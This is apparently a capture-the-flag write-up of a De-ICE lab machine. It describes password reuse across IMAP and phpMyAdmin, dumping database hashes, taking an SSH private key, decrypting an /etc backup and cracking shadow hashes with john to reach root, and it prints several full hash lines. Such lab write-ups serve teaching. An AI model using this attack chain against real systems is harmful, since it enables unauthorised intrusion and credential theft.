I didn't see anything else of interest in the forum, so I set my eyes on the next service: FTP. Attempting to login as mbrown with his password didn't work. However, anonymous login was allowed. I found a directory called incoming which didn't appear to contain anything.

Attempting to upload anything in incoming didn't work. Perhaps this user didn't have the proper permissions to write to that directory. The next two services were IMAP and POP3, both of which were running with SSL. I decided to try IMAP first and connected to the service using the following command:

# openssl s_client -connect 192.168.1.146:993 -crlf

In order to proceed, I needed to authenticate. I was able to login using the email address for mbrown listed on his forum profile, and his forum password:

Having logged in, I listed all available folders. This returned the INBOX, INBOX.Sent, INBOX.Drafts, and INBOX.Trash folders. The INBOX itself contained two emails:

I read the contents of both emails, however it was the second email that had some interesting information:

Here, the MySQL root password had been revealed. I attempted to use this password to login as the admin user in the forum, or the root user for FTP, but neither of them worked. There was another email in the INBOX.Sent folder, and this contained the root user's password for PHPMyAdmin:

I attempted to navigate to http://192.168.1.146/phpmyadmin but found nothing there. I figured that if there was something, then wfuzz would have found it earlier. After trying several other things, I was a bit lost. With the Christmas holidays approaching, I gave up for a few days to make merry, promising to come back to this again later.

I looked over my notes again once Christmas was over, and realized that I had completely disregarded port 443. Out of curiosity, I punched in https://192.168.1.146/phpmyadmin and it sent me to a PHPMyAdmin login page!

Using the PHPMyAdmin password I found in mbrown's email, I was able to login and view the databases on the server:

Determined not to miss anything again, I took my time exploring the contents of the databases and taking notes and screenshots. The exploration ended with me obtaining several password hashes. The first set was from the forum.mlf2_userdata, which were basically forum passwords and the email addresses associated with the user:

The next set of passwords were from the mail.admin and mail.mailbox tables which contained passwords for each user's IMAP/POP3 account:

I ran each hash through Google and had no luck at all with the batch from the forum database. However, I was able to find the passwords for two of the accounts in the mail database:

The passwords belong to users swillard and rhedley. I still had no SSH access, but I decided to give FTP another try. I wasn't able to login as swillard, but I was able to as rhedley. From there I was able to list all the home directories for each user on the server.

This user was able to view the contents of the incoming directory, which contained the file backup_webhost_130111.tar.gz.enc.

I was able to download this file, but as the .enc extension suggested, it was probably encrypted and would do me no good until I knew what password was used to encrypt it.

I started exploring the home directories on the server. My first priority was to see if I could find an SSH key that I could use to get a proper shell on the server. In mbrown's .ssh directory, I found a file called downloadkey.

Examining this file showed that it was a private RSA key - possibly a copy of his id_rsa. Only one way to find out! I changed the file's permissions to read-only, and used it to connect to the target as user mbrown

I now had a proper shell on the server. After spending some time looking around, I came upon an interesting shell script that I had no read access to: /opt/backup.sh. Looking at the permissions, I noticed that it had an alternate form of access to it. Using getfacl, I discovered that the group ftpadmin had read access to this file.

A quick peek at /etc/group showed that rhedley and swillard both belonged to the ftpadmin group. User swillard also belonged to the sudo group, which may be handy later on in elevating to root privileges. Unfortunately I had no read access to any of the other user's home directories, except for sraines, and there was nothing in there other than an emtpy .bash_history file.

I wondered if I could SSH into the server as a different user, so from mbrown's account, I attempted to SSH in as each user to see what would happen. As luck would have it, I managed to get a shell as swillard!

First thing I tried was sudo -l and provided the cracked password I found on Google Austin-Willard. This did not work. However, this user was part of the ftpadmin group, which meant I could read the contents of /opt/backup.sh

So a bit of a jackpot - the file contains the command and password used to encrypt the backup_webhost_130111.tar.gz.enc I downloaded earlier. Using the same command, I added the -d flag for decryption and saved the output as d.tar.gz

The decryption appeared to be successful. I extracted the contents of the archive and found that it was a backup of /etc. This treasure trove of files included a readable shadow file containing each user's hashed password!

Using unshadow, I merged the contents of passwd and shadow into a file called crack.me, which I could pass to john for cracking. I removed non-user accounts and ended up with the following:

sraines:$6$4S0pqZzV$t91VbUY8ActvkS3717wllrv8ExZO/ZSHDIakHmPCvwzedKt2qDRh7509Zhk45QkKEMYPPwP7PInpp6WAJYwvk1:1000:1000:Sandy Raines,401,1429,:/home/sraines:/bin/bash
mbrown:$6$DhcTFbl/$GcvUMLKvsybo4uXaS6Wx08rCdk6dPfYXASXzahAHlgy8A90PfwdoJXXyXZluw95aQeTGrjWF2zYPR0z2bX4p31:1001:1001:Mark Brown,404,2457,:/home/mbrown:/bin/bash
rhedley:$6$PpzRSzPO$0MhuP.G1pCB3Wc1zAzFSTSnOnEeuJm5kbXUGmlAwH2Jz1bFJU/.ZPwsheyyt4hrtMvZ/k6wT38hXYZcWY2ELV/:1002:1002:Richard Hedley,407,3412,:/home/rhedley:/bin/bash

This backup appeared to have been taken before sraines changed her account to swillard. However, if she didn't change her password, then I would be able to use it to run sudo with her swillard account. I fired up john, set it to use the darkc0de.lst wordlist on crack.me, and got up to make a coffee and watch TV for a few hours.

It took about 3 hours, but finally, sraines' password was cracked:

Fingers crossed, I typed sudo -s, punched in the password, and got a root shell!

I checked the contents of /root to see if there was a flag in there. It contained a file called secret.jpg. I copied this over to /var/www and viewed the contents using my web browser.

Without any other information about the goal of this challenge, I assume this flag means I've completed it. I spent a bit of time checking for hidden messages in the JPG file but didn't find anything suspicious. Or I might have missed it. I don't know.

I would say this is one of the more enjoyable De-ICE challenges I've attempted. Many thanks to Hacking Dojo for releasing this to the public.

↧